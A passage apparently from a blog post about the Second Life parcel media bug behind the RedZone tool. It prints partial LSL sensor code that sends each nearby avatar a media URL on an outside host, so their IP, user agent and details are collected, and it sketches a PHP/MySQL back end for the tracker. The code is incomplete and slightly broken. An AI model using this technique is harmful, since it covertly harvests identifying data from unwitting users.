Although if Phoenix Viewer did it, I suspect the developers might find themselves under attack from Linden Labs for revealing those “secret” parcel media URLs.

Anyway, for interest, the code to exploit the parcel media bug looks like this:


sensor(integer num_detected)
{
   integer agentNum;
   for (agentNum=0; agentNum<num_detected; agentNum++)
   {
     key thisKey = llDetectedKey(agentNum);
     string myurl="http://isellsl.ath.cx/rz2.php?e=pscan&n=&quot; ;
     string myurl+=secretsauce(thiskey) ;
     // The rest of the URL contains the data gathered from a sensor.
     // I don't include all the code for doing so. You need the dataserver.
     llParcelMediaCommandList([PARCEL_MEDIA_COMMAND_AGENT, thisKey, PARCEL_MEDIA_COMMAND_URL, myurl]);
     llParcelMediaCommandList([PARCEL_MEDIA_COMMAND_PLAY]);
   }
}

Now add a sensor script that finds everyone nearby and delivers each one of them a custom URL using the information you just scanned from them (UUID, payment information, avatar age and of course name) and with a PHP back end that funnels the data into a mySQL database, and you have just written your own version of RedZone. The HTTP GET request will provide you with User Agent string and IP address – and even a cookie if you try hard enough. Of course you then need to convince lots of people to gather data for you – and if possible to pay for that privelege. To do that part you have to be both greedy and amoral though, so I presume no reader of this blog would do such a thing.